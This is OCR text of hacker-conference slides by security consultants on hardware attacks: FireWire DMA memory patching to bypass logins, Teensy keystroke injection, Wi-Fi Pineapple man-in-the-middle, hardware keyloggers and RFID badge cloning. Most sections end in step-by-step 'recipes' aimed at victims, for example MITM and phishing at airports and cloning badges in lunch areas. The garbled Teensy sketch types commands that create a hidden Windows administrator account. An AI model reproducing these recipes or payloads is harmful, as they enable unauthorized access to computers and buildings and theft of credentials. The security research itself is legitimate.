Fuck 0-days,
we will pwn u with
hardware mofos

S —

—

MC & Yaniv Miron
Security 1337s @ FortConsult

Greetz vangelis — we didn’t believe you would accepted the title dude - bigg up!

FORTCONSULT b Molaplikp.

Sty 3."5-'.".".' tialk on IT ‘-_;E,-:_-,'Jnlrjfl}.- http://www. powerofcommunity.net




/ About MC

 Intercontinental man of mystery and
security consultant

 Performs security testing and
assessments on most continents

« Works in Fcon2 team at FortConsult in
Copenhagen, Denmark

* From Peahi, Maui

 Used to rock the house on the ones and
twos




/ About Yaniv Miron

« Yaniv Miron aka Lament

 Security Researcher and Consultant @
FortConsult in Copenhagen, Denmark.

« Found security vulnerabilities in IBM,
Oracle, Microsoft and Apache products as
in other products

« CISO Certified from the Technion (Israel
Institute of Technology)

 Certified Locksmith




/ About FortConsult

 Founded in 2002 by UIf Munkedal
 Located @ Copenhagen, Denmark
 Doing cool stuff, for real

« Go ahead, challenge us




Agenda

 This is not a GANGNAM STYLE talk, it's
placed outside

« WTF?! is hardware hacking (dude, it's not
moding...come on)

« Hardware hacking today
« Our hardware hacking tools
 Build your own hardware hacking toolkit

5 for real hardware hacking DEMOs - we
know PoC does not take theoretical crap

‘Q&A




Things to Know Ahead

- 0-day - well...

« pwn - check in the dictionary

« mofos - check in the dictionary
« 1+1=3 for high values of 1

 PoC and vangelis doesn’t like crap




Hacking ? Use Hardware

« OWASP Top 10? When was the last time
you have pwned something with it?

« Fast - go go go
« Unexpected and unchecked

« When was the last time somebody
bought a hacking test with hardware?
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Props to ReL1k at trustedsec.com for the diagram



How to Build Your Kit

You need some $$%$ - not much but...
You need us to tell you what to buy
‘You need a valid address

You need some learning time

You need a lab to practice




How to Build Your Kit
(cont.)

‘We will recommend the top 5 tools for
your “"Hardware Hacking Kit”

« We will recommend the lab that you need
to build to test them

« We will explain how and where to buy
the items for your kit




FireWire

« Apple's name for the IEEE 1394 High
Speed Serial Bus

 FireWire supports multiple hosts per bus,
plug and play and hot swapping

 FireWire versions >> 400 and 800
 Supports Direct-Memory-Access (DMA)

e FireWire can have communication in both
directions at the same time




FireWire — Security

« In SBP-2 (Serial Bus Protocol 2) used by
FireWire the controlling device sends a
request by remotely writing a command to
specified area of the target's FireWire
address space

« Mapping between FireWire "Physical
Memory Space" and device physical
memory is done in hardware

« No operating system intervention

« What could possibly go wrong ; )?




FireWire — Hardware

 FireWire / Thunderbolt / ExpressCard /
PCMCIA interface on attack and victim
machine

« No native FireWire plug? >> add adapter
to expand PCIe bus and hotplug it

 Firewire cable to connect interfaces

s PC Card

CardBu
ExpressCard|34




FireWire — History

« Winlockpwn - Kiwicon 2008 Metlistorm
« Pwned XP targets well
 Unofficial tweaks and updates

 Linux Kernel 2.6.22 new Juju FireWire
stack

 FTWAutopwn now called Inception
http://www.breaknenter.org/projects/inc
eption/

Phat props to @metistorm (Adam Boileau) and @breaknenter (Carsten Maartmann-Moe
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FireWire — Software

 Inception tool

 Requires Linux with JuJu IEEE FireWire
stack e.g. Ubuntu 11 and later

 Python 3

e Libforensics1394

* Pwns WinXP SP2-3, Win7 SPO0O-1, Vista
SPO SP2, Win 8 SP0O, Mac OSX Snow

Leopard Lion Mountain Lion, Ubuntu 11.04
11.10 12.04 x86 and x64




FireWire — Pwnage

 Inception tool
 Patch victim memory to bypass password

e Dump victim memory (4Gb limit due to
FW 32-bit limitation)

* Pick pocket mode >> auto dump from
victims that connect to FireWire or
Thunderbolt daisychain

 This means typical corporate laptop with
Win7 Bitlocker full disk crypto is often
pwned




FireWire — Pwnage (cont.)

 Search pwned memory dump or hard
drive for credentials, keys, hashes etc

« Use volatility tool to carve valuable data
from memory dump to plan and execute
other attacks

 Use obtained data loot to penetrate other
systems e.g. move laterally into
organization and pwn systems the victim
had access
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FireWire - Pwnage (cont.)

v.0.1.4 (C) Carsten Maartmann-Moe 2012
Download: http://breaknenter.org/projects/inception | Twitter: @breaknenter

FireWire devices on the bus (names may appear blank):

Only one device present, device auto-selected as target
Selected device: MICROSOFT CORP.
Available targets:

Windows 7: msvi_®.dl1l MsvpPasswordValidate unlock/privilege escalation
Windows Vvista: msvi_0.dl1 MsvpPasswordValidate unlock/privilege escalation
Windows XP: msvl 0.d1l1 MsvpPasswordValidate unlock/privilege escalation
Mac 0S X: DirectoryService/OpenDirectory unlock/privilege escalation
Ubuntu: libpam unlock/privilege escalation

Please select target (or enter 'gq' to quit): 1

Selected target: Windows 7: msvl_0.dl1l MsvpPasswordValidate unlock/privilege escalation
DMA shields should be down. Attacking...

Searching, 456 MiB so far

Signature found at ©x1c884926 (in page # 116868)

Write-back verified; patching successful

BRRRRRRRAF&MHHHNRHRRRMRHRMMRERMMMMM] 11




FireWire - Demo




FireWire — Recipe

« HW: FireWire PCMCIA / PCExpress card,
eBay or Amazon

« HW: Firewire cable (400/800) with
4/6/9 pole connector to connect attack
laptop to victim, eBay or Amazon

« SW: Linux with IEEE1394 Juju Stack

« SW: libforensics driver, Python 3

« SW: Inception




FireWire - Recipe (cont.)

 Find victim laptop and insert FW card
(PCMCIA/PCExpress) if there is no FW
port

« Connect Linux attack machine to victim
over FW and run inception to bypass login

« Rape and pillage hard drive >> login
credentials, emails, budgets, contracts etc

 If there is a pre-boot auth password wait
until the machine is booted and locked
with screen saver before attacking

 If login bypass fails, then dump memory
and rinse and repeat as above
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Teensy

- The Teensy is a complete USB-based
microcontroller development system, in a
\"/-1aY; small footprint, capable of
implementing many types of projects. All
programming is done via the USB port. No
special programmer is needed, only a
standard "Mini-B" USB cable and a PC or
Macintosh with a USB port.

Teensy 2.0 Teensy++ 2.0

¢ '.iﬁl. E,:. .....gggn.sg'{.‘").ggn,gs ra/.s/.g)
il ,qr i 2 E] % mm .um
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Teensy — What Is It ?

* A very fast keyboard in our case
* A cool hardware hacking device

« Our little friend when somebody turns
around for a sec...




Teensy - Software

« SO we need the Teensy App

« And the Arduino 1.0.1

ARDUINO




‘ Teensy - Coding

e

Tools

Elirk

ik
Elink
Turns orn oary LE

ey I
HPinizhasan LED commected ohmost Arduino hoards.

Gperation  Help
£ Pindl hes the LED on Teensy 2o

|%l .ﬁl .l i Pind hes the LED on Teensy++ 20
; ' J. ; JJ’J s glve 1k s i
ey ) ’ intled =13;

L3

]

» = s
Press B!J[’fﬂﬂ }u & the setup routine runs once when youpres
To Activate it voidsetung |
B aroutput,

_{ winitialize the digital pina:
pinfode(led, OUTPUT)

|s|=:JE!l:|:h_|:u:l:13|:|.|:|:||:|.I'u3><J 19% use

fthe loop routine runs over-and ower again forewver:

vold loop) |
digitalWrite(led, HIGH; s Durrn LED o (HI
rrwait foras rnd
ortarn the LED of £ by making the woltage LOW

£H#Walt Lor a second

L ——




' Teensy - Coding (cont.)

©0 E

sketch_octisa §
GhostddminmPol Winfemids; Sobvicously change this to your usernane and password

1

woid GhoztAdninichar AlserNane,char *Password){
char buf fer[1vs);
sprintfutfer, /met user w3 w3 ADDY, UserName, Password);
Bevhoardprintlnbutifer);
del a0,
sprintfputfer, met localgroup aduinistrators w3 saddy, UserNane),
Kevhoard printlnbutfer);
de L as(a00);
sprintfpuffer, »REG ADD WHELMWIOFTWAREWMI crosofcollindows NTwlurrentVersionwliinlogonvwipecialAccountsiy
Eevioardprintlnbutfer);
de a0,
Eeyhoardprintlngrexity;
h
D R SR AL E AR
voidloop]) |
digitalWrice(PIN DId, LOW;: s LED on
e Lasy (400, rrBlowmblink
digicalWrite(PIN DId, HIGH); « LED off
de 1asyEo0);
I
o ot At At R At Bt B
vold GethdninCHDO{
KEeyvhoard.set nodifierMODIFIEREEY GUILY; « setwindows ey

Taken from illwill @ http://www.nesit.org board Page 26




Teensy — Coding (cont. 2)

& sketch_octl5a | Arduino 1.0.1
File Edit Skekch Tools

Help

sketch_ochisa &

de L a0y,

i

R R N R N AP Ay S T A T,

wold GetiddninCMDg{
Beyhoard et nodifierMODIFIERKEY GUI) / setwindowz key
Beyhoard send_nowg; dpresswindows key
Eeyhoard.zet modifier; Hdreleagsewindowskey
Eeybhoard send nom);
e 1 asraoon);

Eeyhoard printcmd:S; segend cnd to pun box

Eeyboard: set modifierMODIFIERKEY CTRLIMODIFIEREEY SHIFD); s holdctrleshift
Eeyboard set_keyi(EEY ENTER);

Eeyboard.send now(;

clearKevy(;

de layaoon; fdelay tewait for UAC pronpt

Feyhoard.set modifierMODIFIERKEEY ALT) srholdalt
Eeyhoard.zet_EeviBEEY_T); et leftarrowkey
Feyhoard, zend_ now; Heendkeys

clearEev(; freleaze keys

B o O o O O A ol o Sl o o R Ol o o Al o o A

siunction tokeep pressingmmlock until 1t returns that themmlock light iz on
sletting youknow that the Teensy drivers installed

4



Teensy - Coding (cont. 3)

& sketch_oct15a | Arduino 1.0.1
Fil=: Edit Sketch  Tools

Help:

sketch_octisa & B

O

wold WaitForDrivers) {
bool mmlLockTrap = numLockOng;

whilepnmLockTrap == numLockOng) {

Eeyhoard. set _keyi(BEEY NUM LOCE); rrepress NUMLOCKE key
Eeyhoard zend_now;

clearEev(;

I

Eeyhoard et _keviEEY NUM LOCE); spress NOMLOCKE key
Eeyhoard.zend_now];
clearKev(;

B T
srreleagses kevandnodifier
i ol ol ol St
wvoid clearEey) |

Keyboard. set_mnodifier )

Keyboard. setc_ kevif)y

Keybhoard send now];

e Lasy(soy;

j
e



Teensy — XP vs 7

« cmd vs rcmd

*This is like a human typing on a
keyboard...don’t do TYPOS

« But you know... Teensy will pwn them

PuN

M icrosoft’

s "Windows

’ &7 Wi ndows /




Teensy — Hardware

 There are different teensy

« We are using Teensy 2.0

oard is a complete USB-based microcontoller dey

This version has solder pads for all /O signals. The Teensy is also available with th




Teensy — Demo




: Teensy - Recipe

 Buy it here:
http://www.pjrc.com/teensy

 Install the loader application:
http://www.pjrc.com/teensy/loader.html

- (remember that the orange light should
blink at first use)

« Download the Arduino Software
« Code some cool stuff and upload it

 Attack!




PineApple

 Cracking WEP or WPA key >> boring
 Inverse war driving more fun
 Let victims connect and MITM them

« Works well, most people are cheapskates
and love free wifi

 Target rich areas are airports, hotels,
coffee shops and so on

« Also corporate environments that do not
offer wifi for private or guest use




PineApple - History

« 2004 Karma tool Shane Macaulay & Dino
Dai Zovi

« 2008 Karmetasploit HD Moore

« 2008 Jasager on OpenWRT Fon 2100
Robin Wood and Hak5

e Since then many upgrades, tweaks and
implementations

* Netbooks with Atheros or Prism54
chipset, Pineapple, Pwnphone etc




L

' PineApple — History




PineApple Laptop Tools

 Laptop with Linux e.g. Ubuntu

« Wifi interface supporting monitor mode
and injection e.g. Atheros

« Aircrack-NG

« DHCP server

« Metasploit framework
- Database backend

« EEE900 with built-in Atheros and Linux
installed one option




PineApple — Standalone

 Alfa AP121U running OpenWRT flashed
with Pineapple mk4 firmware

 Nokia 900 with injection driver and
manually installed tools or Pwnphone
software

 Legacy - Fonera 2100 with Jasager
Firmware

 Legacy - Alfa AP51 flashed with
Pineapple mk3




PineApple — UnBricking

* Bricked routers or with no OpenWRT
need to be reflashed

 Always check the MD5 before flashing

« Acquire USB/serial to UART cable for low
level serial firmware flashing

« PL2303 or Silicon Labs CP210x chipset




PineApple - UnBricking
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PineApple - UnBricking
(cont. 2)

 Disconnect power on router

« Remove two front rubber feet on bottom
of the router

« Remove two screws and open case
« Connect RX, TX and GND pins on router

to adapter (some cheapskate adapters
may have TX and RX labels flipped)

Do not connect VDD use the router power
adapter




PineApple - UnBricking
(cont. 3)

 Use Linux - everything is easier

« Make sure the USB serial adapter is
recognized

e Check with Isusb command

 Note vendor and device ID for adapter
e.g. Bus 002 Device 008: ID 10c4:ea60
Cygnal Integrated Products, Inc. CP210x
Composite Device means vendor=0x10c4
product=0xea60

 Perform modprobe command with noted
IDs e.g. sudo modprobe usbserial
vendor=0x10c4 product=0xea60




PineApple - UnBricking
(cont 4.)

« Check with dmesg command that adapter
is working

e The USB serial adapter should be
connected to ttyUSBx where x can be 0,1,2
.. €.g [ 9643.936962] usb 2-1.1: cp210x
converter now attached to ttyUSBO

« Connect an ethernet cable between the
router POE port and the Linux laptop

e Set the Linux wired interface to static IP
address 192.168.2.11




PineApple - UnBricking
(cont. 5)

- Install a tfp server e.g download and
extract tftpgui from
http://code.google.com/p/tftpgui/downl
oads/list

 Install a terminal emulator e.g. sudo apt-
get gtkterm, configure 115200 baud, 8

data bits, no parity, 1 stop bit, no flow
control and select the correct ttyUSBx
device from previous step e.g. ttyUSBO

« Download the factory file
http:/ /cloud.wifipineapple.com/firmware
/factoryFiles.tar




: PineApple — UnBricking
(cont. 6)

 Extract the factory files to the
tftpgui/tftproot/ directory i.e. kernel.bin
and rootfs.bin

« Start the tftp server sudo python tftpgui -
-nogui

« Download the pineapple firmware to be
flashed from

http:/ /cloud.wifipineapple.com/index.php
?downloads e.g. stable 2.5.0

Verify that the MDS5 is correct i.e. md5sum
<firmware file name> e.g.
045d880620215fa8ae4fdc7826bf0fc8 for v
2.5.0
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PineApple — UnBricking
(cont. 7)

« Connect the power adapter to router

« Be quick and select 1 from the menu to
get shell

e Enter commands below

3 rootfstype=squashfs,jffs2 noinitrad”

OO0 +n,14ﬂﬁﬁﬁ
A0 Ox9f650000 d695
ootfs.bin
00 +0x600000
g ) Ox9TO506000 23d004
bootm Gxo0T6S000A
reboot

- Reboot router




PineApple - UnBricking
(cont. 8)

« Wait for router to reboot

 Hit enter to get shell

« Use passwd command to reset the root
password and reboot router

e Set Linux machine wired interface to
172.16.42.42

- Use scp to copy over firmware to the
router e.g. scp <firmware file name>
root@172.16.42.1




PineApple — UnBricking
(cont. 9)

 Ssh into router i.e. ssh root@172.16.42.1

« Upgrade the router firmware i.e.
sysupgrade -n -v /tmp/<firmware file
name>

« Wait for the router upgrading to finish (a

couple of minutes)
 Flashing complete
« More info at

http://cloud.wifipineapple.com/index.php
?flashing




Services

Wireless enabled.
MK4 Karma enabled.

Autostart

Cron Jobs enabled,

URL Snarf

DNS Spoof enabled.

3G bootup
3G redial
SSH

Stealth enabled.

PineApple — Web Gui

Karma / Connection Status (Generate Detailed Report)

1350292058 & 172.16.42.131 victim2

IP address HN type Flags HN address Mask Device
172.16.42.42 ox1 0x2 = * br-lan

: Successful association of . i

: Checking SSID for start of association, pass through PoC Free Wifi
: Successful association of

: Checking SSID for start of association, pass through PoC Free Wifi
: Successful association of ]

: Checking SSID for start of association. pass through ... D SR TR

: Successful association of

: Checking SSID for start of assloci‘auon.-pas'.s through p.>. A..g>.~...k. . B\¥. ;.

Interfaces

POE / LAN Port: 172.16.42.1
USB 3G Modem:
WAN / LAN Port:
Public Internet: reveal public ip




PineApple - Weaponized




PineApple - Luvz Hak5
NOT I

« DO NOT BUY FROM HAKS5 - DO NOT !!I

: / « Haha Shannon, haha




PineApple - Demo




PineApple - Recipe

« HW: Alfa Hornet AP121U w/ OpenWRT
http://www.data-alliance.net/servlet/-
strse-667/Alfa-Open-dsh-WRT-802.11n-
AP /Detail

« HW: USB to UART TTL adapter PL2303 or
CP210x chipset on eBay e.g.
www.ebay.co.uk/sch/i.html?_nkw=USB+
uart+ttl

« HW: Rechargable battery pack 12V e.q.
Astro3 Anker 10000mAh on Amazon

« SW: Wifipineapple.com
http://cloud.wifipineapple.com/index.php
?downloads

Page 52




PineApple - Recipe
(cont.)

« HW+SW: Alternatively get small
notebook with Atheros chipset e.g. Asus
EEE900 on eBay

« HW+SW: Alternatively get Nokia N900 on
eBay and load PwnPhone community
edition

http://pwnieexpress.com/pages/commun
ity-downloads or install tools manually
with package manager




PineApple - Recipe
(cont. 2)

« Attach Pineapple to battery pack, add
USB storage and swap space

« Enable Karma mode, connect Pineapple
to Linux machine with Internet access
(wifi or 3G) and share it with Pineapple

« Run SSLstrip or make a nice phishing
page tailored for your main target or code
evil java script injection payload

« Goto an airport, hotel or coffee shop
where your targets hangout and free wifi
IS scarce

 Rape and pillage target with MITM

attacks Page 54




KeylLoggers

« What is a KeyLogger?

 Keystroke logging (more often called
keylogging or "keyloggers") is the
action of tracking (or logging) the
keys struck on a keyboard, typically
in a covert manner so that the person
using the keyboard is unaware that
their actions are being monitored.
There are numerous keylogging
methods, ranging from hardware and
software-based approaches to
electromagnetic and acoustic
ELREWAEE
-Thanks wikipedia




KeyLoggers - Past

 You need physical access

 You need to plug it to the keyboard
 Usually PS2 or USB

« Sometime the logs are hard to read
 You can’t see the mouse

* You can’t see virtual keyboard

What's inside?

« Software keyloggers

USE connector USE connector

memory microcontroller




KeyLoggers - Future

 Instead of reading logs, I'll just see what
you are doing

- VGA
- DVI

What's inside?

- HDMI

Computer cable Microprocessor

FPGA chip Video connector




KeylLoggers - Screens

« Almost any screen could be monitored
 Very simple and easy

« We just need to plug the video and USB
connector and we are ready

- DVI

- VGA




\

KeyLoggers - InSide

« Anyone open their keyboard lately?

« Small things, but still we need space for
it

« Not that fast installation

==« 1. Without
= crend Keylogger

: ‘'8 With
0 B Keylogger




KeyLoggers — InSide
(cont.)

« We need some tools:

Crimp Connector Housing: 0.1 inch
pitch 1x4

Female Crimp Pins for 0.1" Housings

Crimping Tool: 0.1-1.0 mm?2 Capacity,
16-28 AWG SN-28B

i

Crimp Connector Housing: 0.1 inch pitch 1x4-Pin 10-Pack

£0.46

CRIMPHOLUS4
alo

Mot Rated

EiPololu

Robotics & Electronics




KeylLoggers — InSide
(cont. 2)

*This is an open keyboard with the
module:




KeyLoggers - Serial

* Yes, there are also serial keyloggers
* Printers keyloggers

« Payment devices keyloggers




KeyLoggers - Demo




KeyLoggers - Recipe

 VideoGhost:

 https://www.keelog.com/hardware_
video_logger.html

- VGA
- DVI
- HDMI

« Plug it between the screen and the
machine

 Plug the USB from the cable to the
machine

Page 64




KeyLoggers - Recipe

- Keyboard - just a simple one with
enough space

« Open the keyboard
 User guide:

https://www.keelog.com/files/KeyGrabb
erModuleUsersGuide.pdf

B K S - the magic letters (change
them!)

Prepare the wire tips. Crimp the provided connector sockets over
or crimp tool




" RFID

« Many business use proximity cards to
control physical access

« Many such implementations use cards
that can be cloned

 If the implementation is not secure then
cloned cards can be used to gain physical
access

« Companies may have shiny expensive
prox card equipment but the security
features may be misconfigured or not
enabled




RFID (cont.)

« Most prox card use proprietary encoding
and data formats

* This talk >> Limited to Low Frequency
125KHz cards using Frequency Shift
Keying (FSK) technology

« Numerous vendors e.g. HID, Honeywell,
Keyscan and others offer such solutions

 These solutions are popular and often
implemented in corporate environments




RFID (cont. 2)

« Systems consists of tags, readers and a
backend control system

 Tags contain an antenna and a chip and
are usually passive

 Passive cards require the reader to
provide power for communication




RFID (cont. 3)

 One of the most popular commercial
solutions is HID ProxCard

« Still used despite security weaknesses
« Card stores a 44-bit value sent to the
backend via a reader to grant or deny
access

« Only 26-bits are used for authentication

« What could possibly go wrong ; ) ?




RFID - Pwn Time

 Reading a victim's prox card means the
attacker knows the 26-bits

 Roll your own or buy a reader

 Add battery pack to power reader for
portability

« Maximize read range for maximum
leetness

 Most readers requires card to be within
3-4 inches >> GTFU




RFID - Pwn Time
(cont.)

« HID Maxiprox 5375 long-range reader

« Reads ProxCards II at ~24 inches
powered with 12V

 Data is output through Wiegand interface

Props to Carl at proxclone.com for this awesome idea
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RFID - Protocols

« Wiegand interface connects readers
(RFID and magstripe) to physical security
control backend control systems

« Wiegand has two data wires (Data0O and
Datal) and ground

e No data sent >> Data0O and Datal is
pulled up to high voltage +5V

« Data sent >> one line is pulled to low
voltage

Logic Value 1 0

5V
Data 1
o
Data 0 ] |
Slus o

e
2ims
- =]




RFID - Protocols (cont.)

« Wiegand data format is 26 bits
* Facility code is 8 bits
« Card number (user ID) is 16 bits

« Parity bit leading and trailing

Leading Parity Bit (even)

Facility Code (8 bits)
j_TraiIing Parity Bit (odd)
P FFFFFFFF NNNNNNNNNNNNNNNN P
|




RFID - Mod Time

« Add Pro Micro 16Mhz 5V for decoding
Wiegand output from reader

« Add battery pack and SD card module to
save read prox card loot

- Upload code to Pro Micro to read
Wiegand output, decode to binary and

save to SD card p
CQQOCOCQOO p

 GND G6ND RXI TX0
.f -,"‘ E E‘F‘ﬂlﬂ. LR e
(8 !:" [
- Eu
= N g Emu K] o
B 16 17 15 AG H:I. A2 A3 UCC RST GND RAUW -

...........

Props to colligomentis.com for Ardlglno C 4e bits

d
11k -
o E
=]
-
-

0421} 04




RFID - FrankenClone

\

-CAUTION-
HIGH VOLTAGE




RFID - Demo

 Logging functionality disabled to avoid
Korea pound-you in the ass prison

sentence Page 76




RFID - Cloning

e FrankenClone read victim cards and the
26-bits required to authenticate to the
backend

« We g0tz an SD card with facility and user
IDs

« T55x7 cards to the rescue

« Emulation of most 125Khz RFID tags
possible with T55x7 cards

« 100K+ rewrites after initial programming




RFID - Card Cloning

 Programming T55x7 cards with facility
and user IDs requires a writer

 Roll own or buy one

 Russian options include Keymaster Pro 4
and Proxy Key T5




‘

" RFID - Emulation

e Proxmark3 can emulate T55x7 cards

« More phun though is the possibility to
emulate cards and brute force code
https://github.com/brad-
anton/proxbrute.git

« If a facility and user IDs is known then
trying nearby numbers is useful since

employees may have different physical
access rights.

Props to brad antoniewicz at foundstone for proxbrute
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RFID - Recipe

« HW: HID Maxiprox, eBay

« HW: Pro Micro 5V 16Mhz,
https://www.sparkfun.com/products/110
98

« HW: SD card module,
https://www.sparkfun.com/products/544
« HW: Battery holder, eBay

« HW: Micro USB male connector, eBay

« HW: Wires, eBay

« HW: Rechargeable AA batteries, eBay

« SW: Aruino code,
http://colligomentis.com/wp-
content/uploads/2012/05/HID_Card_Cat
cher_NoKeypad_Micro.txt




RFID - Recipe (cont.)

« HW: Keymaster Pro RF 4, Google Russia
or Ukraine

« HW: Prox Key T5, Google Russia or
Ukraine

« HW: Proxmark3 eBay or
http://proxmark3.com/




RFID - Recipe (cont. 2)

e Turn on FrankenCloner and throw it in a
bag

 Goto to a lunch area or elevator where
targets hangout and sweep for prox cards

« Use gathered facility and site codes to
clone prox cards with prox card writer and
T55x7 cards

 Take cloned cards and enter facility
 Alternatively use Proxmark3 to emulate

cards and bruteforce ranges to gain access
to additional areas
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BlueTooth

 So there are different people saying that
it can be sniffed with simple BT tokens

- BC2-Ext, BC3-Ext, BC4-Ext
« UberTooth One — maybe?

 Trying tons of them...not really working
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OpenBTS

« OpenBTS (Open Base Transceiver
Station) GSM software-based access point

 Requires hardware from Ettus Research
e.g. USRP1 plus TX and RX board for your
GSM band plus antennas for each

« 52 MHz clock e.g. Clock Tamer
 Unlocked mobiles phones and sim cards

« SIM card writer

« Computer running OpenBTS software
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Cold Boot Attack

« CBA = Cold Boot Attack
* Princeton research

« Small size RAM

* Air Spray

 Luck

 Tools to analyze the info




PwnPlug

« Sheeva plug with PwnieExpress software
« Community edition is free

 Inexpensive demo/floor models may be
available

« New mini version released (beware - no
JTAG/serial port!)

-




PwnPhone

* Nokia N900 running PwnieExpress
software

« Community Edition is free

* Also possible to install Metasploit, Nmap,
wifi injection driver manually




To Wrap It All Up

« Hardware hacking is da new thing

« You don’t need to have tons of $$$ to use
it

« It gets simpler and simpler

 Build hardware tools and pwn stuff
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